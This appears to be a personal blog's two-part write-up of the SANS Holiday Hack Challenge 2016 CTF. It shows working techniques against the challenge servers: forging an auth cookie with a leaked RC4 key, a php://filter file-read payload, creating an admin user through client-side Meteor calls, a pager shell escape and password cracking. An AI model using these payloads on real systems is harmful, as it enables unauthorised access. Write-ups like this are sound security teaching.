Showing posts with label Holiday. Show all posts
Showing posts with label Holiday. Show all posts

Tuesday, January 10, 2017

Holiday Hack Challenge 2016 - Writeup (Part 2)





This post covers the second part of the SANS Holiday Hack Challenge 2016 CTF.  Part 1 can be found here.

The next area of the challenge asked how to exploit six servers found within the APK.  Along with these servers drops six audio files to analyze towards the end of the game.  As listed on the site, the targets were:

  • The Mobile Analytics Server (via credentialed login access)
  • The Dungeon Game
  • The Debug Server
  • The Banner Ad Server
  • The Uncaught Exception Handler Server
  • The Mobile Analytics Server (post authentication)

Each target IP could be verified in-game by Tom Hessman.  This helped both with identifying scope & identifying progress, even though each one was fairly obvious.


The Mobile Analytics Server


The first thing I tried on this server was check for a .git directory, it seemed to be very fortunate guess.  Hitting that route we get a listing of the git repo for the site, I love seeing this on challenges!


With the git directory exposed you can now clone the full project easily with a bit of wget.  For more information about how this is done, check out this article (It also goes into a more advanced topic, reconstructing a repo based on objects found!) - https://en.internetwache.org/dont-publicly-expose-git-or-how-we-downloaded-your-websites-sourcecode-an-analysis-of-alexas-1m-28-07-2015/

After we have the local copy of the project we can start looking for interesting files.  The first thing to find in the context of this challenge is audio or mp3 files.

$ grep -rnis mp3 *

getaudio.php:22:      header('Content-Length: ' . strlen($result[0]['mp3']));
getaudio.php:26:      print $result[0]['mp3'];
header.php:2:require_once('mp3.php');
header.php:33:                  <li><a href="/<?= mp3_web_path($db); ?>">MP3</a></li>
mp3.php:5:  function mp3_web_path($db) {
sprusage.sql:124:  `mp3` MEDIUMBLOB NOT NULL,

Looking at mp3.php we find a simple query statement which grabs an audio file, looks promising:

<?php
  require_once('crypto.php');
  require_once('db.php');

  function mp3_web_path($db) {
    $result = query($db, "SELECT `id` FROM `audio` WHERE `username` = '" . mysqli_real_escape_string($db, get_username()) . "'");

    if (!$result) {
      return null;
    }

    return 'getaudio.php?id=' . $result[0]['id'];
  }

Then looking at where it's been used, we find the main header file:

          <ul class="nav navbar-nav">
            <li><a href="/query.php">Query</a></li>
            <li><a href="/view.php">View</a></li>
            <?php
              if (get_username() ≡ 'guest') {
                ?>
                  <li><a href="/<?= mp3_web_path($db); ?>">MP3</a></li>
                <?php
              }
              if (get_username() ≡ 'administrator') {
                ?>
                  <li><a href="/edit.php">Edit</a></li>
                <?php
              }
            ?>
          </ul>

Looks like if we login as 'guest' we get access to that guest mp3 through the nav bar link.

Logging in as 'guest' is the next challenge. Looking at how the auth works, we can see it uses a weak authentication mechanism. All the application does to verify the user is check the 'AUTH' cookie's username field:

db.php:69:    if($username == 'administrator') { ... }
getaudio.php:9:  if ($username === 'guest') { ... }

You can see the cookie being set post-auth based on the username & date:

  } else {
    require_once('db.php');

    check_user($db, $_POST['username'], $_POST['password']);

    print "Successfully logged in!";

    $auth = encrypt(json_encode([
      'username' => $_POST['username'],
      'date' => date(DateTime::ISO8601),
    ]));

    setcookie('AUTH', bin2hex($auth));

    header('Location: index.php?msg=Successfully%20logged%20in!');
  }

Now we can easily run our own version of the cookie generation in PHP for both 'guest' and 'administrator' users:

<?php
define('KEY', "\x61\x17\xa4\x95\xbf\x3d\xd7\xcd\x2e\x0d\x8b\xcb\x9f\x79\xe1\xdc");

function encrypt($data) {
  return mcrypt_encrypt(MCRYPT_ARCFOUR, KEY, $data, 'stream');
}

$username = 'guest';
// $username = 'administrator';

$auth = encrypt(json_encode([
  'username' => $username,
  'date' => date(DateTime::ISO8601),
]));

print('AUTH:\n');
print(bin2hex($auth));

?>


After adding this cookie (using a browser extension) we're successfully authenticated as 'guest' and we can grab that mp3! It drops 'discombobulatedaudio2.mp3' and Part 1 is done!



The Dungeon Game


The next server found was dungeon.northpolewonderland.com. Visiting the page on port 80 provided some instructions for the game, scanning further with nmap revealed another interesting port: 11111. Looking up usage of that port number there were mentions of MMO games hosted regularly using that value. Hitting it with netcat produced the Dungeon game server.

$ nc -v dungeon.northpolewonderland.com 11111

Connection to dungeon.northpolewonderland.com port 11111 [tcp/vce] succeeded!
Welcome to Dungeon.   This version created 11-MAR-78.
You are in an open field west of a big white house with a boarded
front door.
There is a small wrapped mailbox here.


First thing first, as I didn't recognize it instantly, we need to find out if this game was created before -- if it's a clone or mod of a previous game we can find the source to. Looking up the copy on the intro when you start we find quickly that this is actually Zork 1, previously called Dungeon.

Initially I was looking for walk-throughs I could paste in verbatim to win the game. This didn't work in a few places. The first stopping point was finding a painting. A few other objects seemed to be moved.

The next strategy was to look up how to cheat. This yielded a couple results. First we could jump to the end of the game using the spell 'incant, DNZHUO IDEQTQ', this didn't seem to go anywhere too interesting, but could be one path. The other was to use the GDT menu (Game Debugging Tool). This provided many options, others probably had more elegant solutions than this, but you quickly start to learn that it allows you to acquire every item in the game.

There is a small wrapped mailbox here.
>inventory
You are empty handed.
>gdt
GDT>help
Valid commands are:
AA- Alter ADVS          DR- Display ROOMS
AC- Alter CEVENT        DS- Display state
AF- Alter FINDEX        DT- Display text
AH- Alter HERE          DV- Display VILLS
AN- Alter switches      DX- Display EXITS
AO- Alter OBJCTS        DZ- Display PUZZLE
AR- Alter ROOMS         D2- Display ROOM2
AV- Alter VILLS         EX- Exit
AX- Alter EXITS         HE- Type this message
AZ- Alter PUZZLE        NC- No cyclops
DA- Display ADVS        ND- No deaths
DC- Display CEVENT      NR- No robber
DF- Display FINDEX      NT- No troll
DH- Display HACKS       PD- Program detail
DL- Display lengths     RC- Restore cyclops
DM- Display RTEXT       RD- Restore deaths
DN- Display switches    RR- Restore robber
DO- Display OBJCTS      RT- Restore troll
DP- Display parser      TK- Take
GDT>tk
Entry:    1
Taken.
GDT>ex
>inventory
You are carrying:
  A brown sack.

Through some guess and check we can find that the last item available is in slot 217, it also appears to be the Elf!

  A lurking grue.
  A pair of hands.
  A breath.
  A flyer.
  A bird.
  A tree.
  A northern wall.
  A southern wall.
  A eastern wall.
  A western wall.
  A water.
  A Guardian of Zork.
  A compass rose.
  A mirror.
  A panel.
  A stone channel.
  A dungeon master.
  A ladder.
  A Elf.

Looking at info again we can see that the modified goal of this Zork game is to find the Elf, mentioning a trade for secrets.

...
   Recent adventurers report a new passage has been installed which
leads to the North Pole and the lair of a mischevious elf who will trade
for secrets he holds that may aid your quest.
...

Dropping the elf and giving it an item it does not want results in the following message:

>give vitreous slag to elf
"That wasn't quite what I had in mind", he says, tossing
the piece of vitreous slag into the fire, where it vanishes.

After hand-choosing a few items, one of them eventually was accepted. There ended up being a few valid trades of different items. Automating the acquisition of all the items was fairly easy by scripting commands for the GDT menu:

$ python -c 'for x in xrange(218): print "tk\n{}".format(x)' | pbcopy

Then trying various objects for the trade we get:

...

>drop elf
The elf appears increasingly impatient.

>give bird to elf
"That wasn't quite what I had in mind", he says, tossing
the bird into the fire, where it vanishes.

>give dungeon master to elf
"That wasn't quite what I had in mind", he says, tossing
the dungeon master into the fire, where it vanishes.

>give gold card to elf
The elf, satisified with the trade says -
send email to "peppermint@northpolewonderland.com" for that which you seek.
The elf says - you have conquered this challenge - the game will now end.
Your score is 15 [total of 585 points], in 17 moves.
This gives you the rank of Beginner.

>give a crystal sphere to elf
The elf, satisified with the trade says -
....


Sending any message to the automated email service listed in the success message provided a link to the mp3, and that was it!




The Debug Server


This was probably one of the most involved challenges for me, being new to APK work.
In the APK provided there was an EditProfile section which would allow you to change various attributes about yourself on the bug bounty platform. It also included a part which would report statistics about the session to some dev server. This was the server we're looking for.

It turned out that the dev server reporting feature was disabled in the version of the APK shipped to us, so what we had to do was re-enable it by disassembling the APK, modifying that value and assembling it again with a valid signing. APKTool, keytool & jarsigner made this a fairly quick process.

$ apktool d SantaGram_4.2.apk
$ vim res/values/strings.xml +33  # changing 'debug_data_enabled' from false to true
$ apktool build
$ mkdir keys
$ keytool -genkey -v -keystore keys/SantaGram_4.2.keystore -alias SantaGram_4.2 -keyalg RSA -keysize 1024 -sigalg SHA1withRSA -validity 10000
$ jarsigner -sigalg SHA1withRSA -digestalg SHA1 -keystore keys/SantaGram_4.2.keystore SantaGram_4.2.apk SantaGram_4.2
$ adb install SantaGram_4.2.apk


Next up we check out that dev traffic using Burp and the android emulator:

$ emulator -netdelay none -netspeed full -avd Nexus_5_API_25 -http-proxy http://127.0.0.1:8080

Looking at the traffic as we hit the EditProfile page, it shows the JSON parameters of the POST request we need.
Watering down the request to remove any unimportant details, we get:
$ curl 'http://dev.northpolewonderland.com/index.php' --data $'{\"date\":\"0\",\"udid\":\"0\",\"debug\":\"com.northpolewonderland.santagram.EditProfile, EditProfile\",\"freemem\":"1"}' -H 'Content-Type: application/json'

{"date":"20170101154937","status":"OK","filename":"debug-20170101154937-0.txt","request":{"date":"0","udid":"0","debug":"com.northpolewonderland.santagram.EditProfile, EditProfile","freemem":"1","verbose":false}}

It looks like there was an extra key added to our JSON object, there's a verbose flag? Let's see what that does.

curl 'http://dev.northpolewonderland.com/index.php' --data $'{\"date\":\"0\",\"udid\":\"0\",\"debug\":\"com.northpolewonderland.santagram.EditProfile, EditProfile\",\"freemem\":"1", "verbose": true}' -H 'Content-Type: application/json'

...
"files":["debug-20170101154937-0.mp3", ...Every debug dump report generated... ],
...


So this is nice, we can read all the debug reports generated by all users. Now we should try to find that audio file if it exists:

curl 'http://dev.northpolewonderland.com/index.php' --data $'{\"date\":\"0\",\"udid\":\"0\",\"debug\":\"com.northpolewonderland.santagram.EditProfile, EditProfile\",\"freemem\":"1", "verbose": true}' -H 'Content-Type: application/json' 2>/dev/null | tr ',' '\n' | grep mp3
"files":["debug-20161224235959-0.mp3"

Sure enough, there was a hidden mp3 file in the massive dump of debug. Visiting http://dev.northpolewonderland.com/debug-20161224235959-0.mp3 dropped the file.




The Banner Ad Server


In the game there were characters that would drop hints on the challenges.  This was one of them that was invaluable moving forward.  The Banner Ad server was almost instantly recognized as a Meteor web app while combing through the source.  One of the hints linked to a SANS blog post on meteor pwning - https://pen-testing.sans.org/blog/2016/12/06/mining-meteor

This didn't seem like much of a vulnerability, just an incredibly bad design choice to allow authentication and sensitive data to be controlled on the front-end.

The TamperMonkey script mentioned in the 'Mining Meteor' article helped a lot!  This allowed us to see exactly what was going on in the web app with all the models and views, etc.

Initial attempt was to try to get access as a different user.  The registration portal was locked down, only allowing privileged users to register, and there weren't any obvious credentials being used.  Another obvious route to take was to just create a user using Meteor on the front-end, seemed too good to be true though. Popping open the Dev Console we try it out:

> Accounts.createUser({ username: 'billy1', email: 'no-one-cares', password: 'b1lly-h4s-f4nt4stic-p4ssw0rdz', isAdmin: true });

Instantly we notice a change in the UI, now we can go to Admin Quotes as well, looks like it worked!



It looks like we have access to five records on this page.  Four of them are standard quotes, and the other has an audio field.  It's starting to look very close!

Grabbing the quotes in the inspector we can see what each value holds:

JSON.stringify(HomeQuotes.find().fetch()[4]);

> "{"_id":"zPR5TpxB5mcAH3pYk","index":4,"quote":"Just Ad It!","hidden":true,"audio":"/ofdAR4UYRaeNxMg/discombobulatedaudio5.mp3"}"

Visiting http://ads.northpolewonderland.com/ofdAR4UYRaeNxMg/discombobulatedaudio5.mp3 will drop the flag!


The Uncaught Exception Server


On this server we could both write and read files, but only in raw text.  This was a PHP server, so a web shell seemed to be the right path, but there wasn't an interpretation of the PHP files.  It turned out PHP filters with base64 seemed to work to leak files.

Leaking the exception file seemed logical, and apparently that was all that was required:

curl http://ex.northpolewonderland.com/exception.php --data '{"operation": "ReadCrashDump", "data": { "crashdump": "php://filter/convert.base64-encode/resource=../exception" }}' -H 'Content-Type:application/json' | base64 -D

Looking at the head of this we get the location of the next audio file!

&gt;?php

# Audio file from Discombobulator in webroot: discombobulated-audio-6-XyzE3N9YqKNH.mp3
# Code from http://thisinterestsme.com/receiving-json-post-data-via-php/


After this I ran out of time so I didn't get the second part to the analytics server, but I knew it had something to do with SQL having a few leads from edit page errors & other query errors.



Really enjoyed playing Holiday Hack Challenge this year! It was a lot of fun, the music was great and the challenges provided a few great learning opportunities! Thanks goes out to all the developers who put this on, you did an amazing job!  Can't wait for next year!



Friday, January 6, 2017

Holiday Hack Challenge 2016 - Writeup (Part 1)




SANS put on another spectacular challenge for us during the holiday times, the Holiday Hack Challenge!  A mix of 2d mmo + security challenges : )

Starting out we see on the instruction page that we're looking for a secret message in Santa's tweets - https://twitter.com/santawclaus

This can also be seen in the introduction image of Santa's Business Card:



The tweets didn't look like much except a bunch of Christmas themed words smashed together...

Precursory thoughts lead me to believe it could be a rudimentary cipher or stego challenge of some kind.  Copying all the tweets into VIM and deleting the timestamps / usernames was the first step. This instantly lead to a solution:




The next part was to look into Santa's Instagram profile.  This was located here - https://www.instagram.com/santawclaus

There were a couple funny images and the main one being a hacker's workspace (Most likely Santa W. Claus or an elf working for him).  Scattered through-out was python reading material, SANS workshops, an nmap scan, half eaten jerky and a little peek at the screen of the user.  On the laptop monitor in the top you see an interesting file SantaGram_v4.2.zip, and the scan contains an interesting url: http://www.northpolewonderland.com/.



Also in the comments, it was riddled with zip remarks (probably highlighting the mistake of leaking the filename) and a pointer to the same server with the actual file and password.  Most of these accounts had no followers or posts, so they were probably setup for the challenge:


After downloading and unpacking the zip, now we have an APK to play with!  Instantly disassembled and decompiled it using apktool to take a look at the source.


The next couple questions had to do with the APK:

3) What username and password are embedded in the APK file?
4) What is the name of the audible component (audio file) in the SantaGram APK file?

For #3, we can simply grep through the contents of the decompiled apk for any trace of 'password', this ended up dropping:

    jSONObject.put("username", "guest");
    jSONObject.put("password", "busyreindeer78");


For #4 we could just use a find and grep for mp3's / audio in the name.

$ find . |grep -i mp3
./res/raw/discombobulatedaudio1.mp3


The next set of challenges had to do with collecting some items in-game to construct a 'Cranberry Pi' eluding to the Raspberry Pi, but ... Christmas flavored?

When talking to a character in the game after all the pieces were collected, they provided a Raspberry Pi image which relate to the next question:

5) What is the password for the "cranpi" account on the Cranberry Pi system?

This was achieved by mounting the Raspberry Pi image on a linux box, then pulling out the passwd & shadow files to crack the 'cranpi' account credentials.  This was done quickly with john & rockyou.


Terminal Doors

Next up was the terminal doors, these were found through-out the 2D game which featured a terminal in-front of a locked door which would unlock when you got the key.


Elf House #2

In the game there was a building called "Elf House #2" which contained a terminal unlocking a room.  Looking at the file system we see that we need to inspect a pcap.  The pcap is owned by another user "Itchy".  Initially your username is "Scratchy" -- most likely referencing the Simpsons in "The Itchy & Scratchy Show"

*******************************************************************************
*                                                                             *
*To open the door, find both parts of the passphrase inside the /out.pcap file* 
*                                                                             *
*******************************************************************************
scratchy@f550041cb156:/$ ls
bin   dev  home  lib64  mnt  out.pcap  root  sbin  sys  usr
boot  etc  lib   media  opt  proc      run   srv   tmp  var
scratchy@f550041cb156:/$ 


Looking at the permissions we have the ability to run strings & tcpdump on the pcap.

  scratchy@006599aaaf89:/$ sudo -l
  sudo: unable to resolve host 006599aaaf89
  Matching Defaults entries for scratchy on 006599aaaf89:
      env_reset, mail_badpass,
      secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
  User scratchy may run the following commands on 006599aaaf89:
      (itchy) NOPASSWD: /usr/sbin/tcpdump
      (itchy) NOPASSWD: /usr/bin/strings

Running strings looking for longer occurrences, we find part of the key.  I guessed the second half based on the theme of the game and the characters provided.

  cratchy@3f9fbad1c2e2:/$ sudo -S -u itchy strings -n 40 out.pcap

  <input type="hidden" name="part1" value="santasli" />

In the door there was an elf providing feedback about "Copy as Curl" in Burp which was very helpful later on in the challenge.


Workshop -> DFER

*******************************************************************************
*                                                                             *
* Find the passphrase from the wumpus.  Play fair or cheat; it's up to you.   * 
*                                                                             *
*******************************************************************************
elf@ee24bd520fdb:~$ 


This was the classic Hunt The Wumpus game. On this one I just played the game, nothing too special, but it was fun!


Workshop -> Santa's Office

This was another quick one.
First started out by using find. After that we get a listing of filenames which need a bunch of escaping to type... But we're lazy, so we'll just use grep. (Output is cut for brevity)

*******************************************************************************
*                                                                             *
* To open the door, find the passphrase file deep in the directories.         * 
*                                                                             *
*******************************************************************************

elf@a13973c497af:~$ find .
./.doormat/. / /\/\\/Don't Look Here!/You are persistent, aren't you?/'/key_for_the_do
or.txt

elf@a13973c497af:~$ grep -r .
.doormat/. / /\/\\/Don't Look Here!/You are persistent, aren't you?/'/key_for_the_door
.txt:key: open_sesame

The key ended up being 'open_sesame' -- It reminded me a lot of one of the earlier bandit challenges, over at http://overthewire.org/wargames/.


Santa's Office

This was one of my favorite discoveries on all of the terminals.  The scene from WarGames played out!  If you haven't seen WarGames definitely go out and grab a copy.

To get through this terminal session, all you have to do is enter the text just like the film.

You can grab the script by watching the video here - https://www.youtube.com/watch?v=-1F7vaNP9w0

GREETINGS PROFESSOR FALKEN.

Hello.

HOW ARE YOU FEELING TODAY?

I'm fine. How are you?

EXCELLENT, IT'S BEEN A LONG TIME. CAN YOU EXPLAIN THE REMOVAL OF YOUR USER ACCOUNT ON 
6/23/73?

People sometimes make mistakes.

YES THEY DO. SHALL WE PLAY A GAME?

Love to. How about Global Thermonuclear War?

WOULDN'T YOU PREFER A GOOD GAME OF CHESS?

Later. Let's play Global Thermonuclear War.

FINE

...

,------~~v,_         _                     _--^\
 |'          \   ,__/ ||                 _/    /,_ _
/             \,/     /         ,,  _,,/^         v v-___
|                    /          |'~^                     \
\                   |         _/                     _ _/^
 \                 /         /                   ,~~^/ | 
  ^~~_       _ _   /          |          __,, _v__\   \/
      '~~,  , ~ \ \           ^~       /    ~   //
          \/     \/             \~,  ,/          
                                   ~~
   UNITED STATES                   SOVIET UNION
WHICH SIDE DO YOU WANT?
     1.    UNITED STATES
     2.    SOVIET UNION
PLEASE CHOOSE ONE: 

1

AWAITING FIRST STRIKE COMMAND
-----------------------------
PLEASE LIST PRIMARY TARGETS BY
CITY AND/OR COUNTRY NAME: 
Las Vegas

LAUNCH INITIATED, HERE'S THE KEY FOR YOUR TROUBLE: 

LOOK AT THE PRETTY LIGHTS

Press Enter To Continue


Train Station

The train was also one of the most interesting terminals, when opening it, you're instantly dropped into an application instead of a shell.  The immediate thought went to exploitation, but we just need to break out of the menu.


Train Management Console: AUTHORIZED USERS ONLY
                ==== MAIN MENU ====
STATUS:                         Train Status
BRAKEON:                        Set Brakes
BRAKEOFF:                       Release Brakes
START:                          Start Train
HELP:                           Open the help document
QUIT:                           Exit console
menu:main> 

First off I tried running each command to see what it did, then went to HELP to see if there was any more information missing.
Looks like the HELP dropped us straight into a less session! This is nice, so maybe we can run commands in less using a bang.

**STATUS** option will show you the current state of the train (brakes, boiler, boiler
 temp, coal level)
**BRAKEON** option enables the brakes.  Brakes should be enabled at every stop and whi
le the train is not in use.
  
**BRAKEOFF** option disables the brakes.  Brakes must be disabled before the **START**
 command will execute.
**START** option will start the train if the brake is released and the user has the co
rrect password.
**HELP** brings you to this file.  If it's not here, this console cannot do it, unLESS
 you know something I don't.
Just in case you wanted to know, here's a really good Cranberry pie recipe:
Ingredients
1 recipe pastry for a 9 inch double crust pie
1 1/2 cups white sugar
1/3 cup all-purpose flour
1/4 teaspoon salt
1/2 cup water 
1 (12 ounce) package fresh cranberries
1/4 cup lemon juice
1 dash ground cinnamon
2 teaspoons butter
Directions:
!bash

!done  (press RETURN)

conductor@bb56a879c8fa:~$ ls -la
total 40
drwxr-xr-x 2 conductor conductor  4096 Dec 10 19:39 .
drwxr-xr-x 6 root      root       4096 Dec 10 19:39 ..
-rw-r--r-- 1 conductor conductor   220 Nov 12  2014 .bash_logout
-rw-r--r-- 1 conductor conductor  3515 Nov 12  2014 .bashrc
-rw-r--r-- 1 conductor conductor   675 Nov 12  2014 .profile
-rwxr-xr-x 1 root      root      10528 Dec 10 19:36 ActivateTrain
-rw-r--r-- 1 root      root       1506 Dec 10 19:36 TrainHelper.txt
-rwxr-xr-x 1 root      root       1588 Dec 10 19:36 Train_Console

conductor@bb56a879c8fa:~$ grep -ri 'pass' .
./Train_Console:PASS="24fb3e89ce2aa0ea422c3d511d40dd84"
./Train_Console:                                read -s -p "Enter Password: " password
./Train_Console:                                [ "$password" == "$PASS" ] && QUEST_UI
D=$QUEST_UID ./ActivateTrain || echo "Access denied"
./TrainHelper.txt:**START** option will start the train if the brake is released and t
he user has the correct password.

conductor@bb56a879c8fa:~$ ./ActivateTrain

Looks like we have the pass now, but we don't even need it with ActivateTrain! :)

   MONTH   DAY     YEAR          HOUR   MIN
  +-----+ +----+ +------+  O AM +----+ +----+      DISCONNECT CAPACITOR DRIVE
  | NOV | | 16 | | 1978 |       | 10 |:| 21 |           BEFORE OPENING
  +-----+ +----+ +------+  X PM +----+ +----+     +------------------------+
                DESTINATION TIME                  |                        |
  +-----------------------------------------+     |    +XX         XX+     |
  +-----------------------------------------+     |    |XXX       XXX|     |
                                                  |  +-+ XXX     XXX +-+   |
   MONTH   DAY     YEAR          HOUR   MIN       |       XXX   XXX        |
  +-----+ +----+ +------+  O AM +----+ +----+     |         XXXXX          |
  | JAN | | 06 | | 2017 |       | 05 |:| 05 |     |          XXX           |
  +-----+ +----+ +------+  X PM +----+ +----+     |          XXX           |
                  PRESENT TIME                    |          XXX           |
  +-----------------------------------------+     | SHIELD EYES FROM LIGHT |
  +-----------------------------------------+     |          XXX           |
                                                  |          XX+-+         |
   MONTH   DAY     YEAR          HOUR   MIN       |                        |
  +-----+ +----+ +------+  O AM +----+ +----+     +------------------------+
  | NOV | | 16 | | 1978 |       | 10 |:| 21 |            +---------+
  +-----+ +----+ +------+  X PM +----+ +----+            |ACTIVATE!|
                LAST TIME DEPARTED                       +---------+
Press Enter to initiate time travel sequence.

--->Activating TIME TRAVEL sequence NOW.....
***** TIME TRAVEL TO 1978 SUCCESSFUL! *****

Nice! This worked! Transported us into 1978.

I'll be posting the second part soon, with more details about the server exploitation in part 4.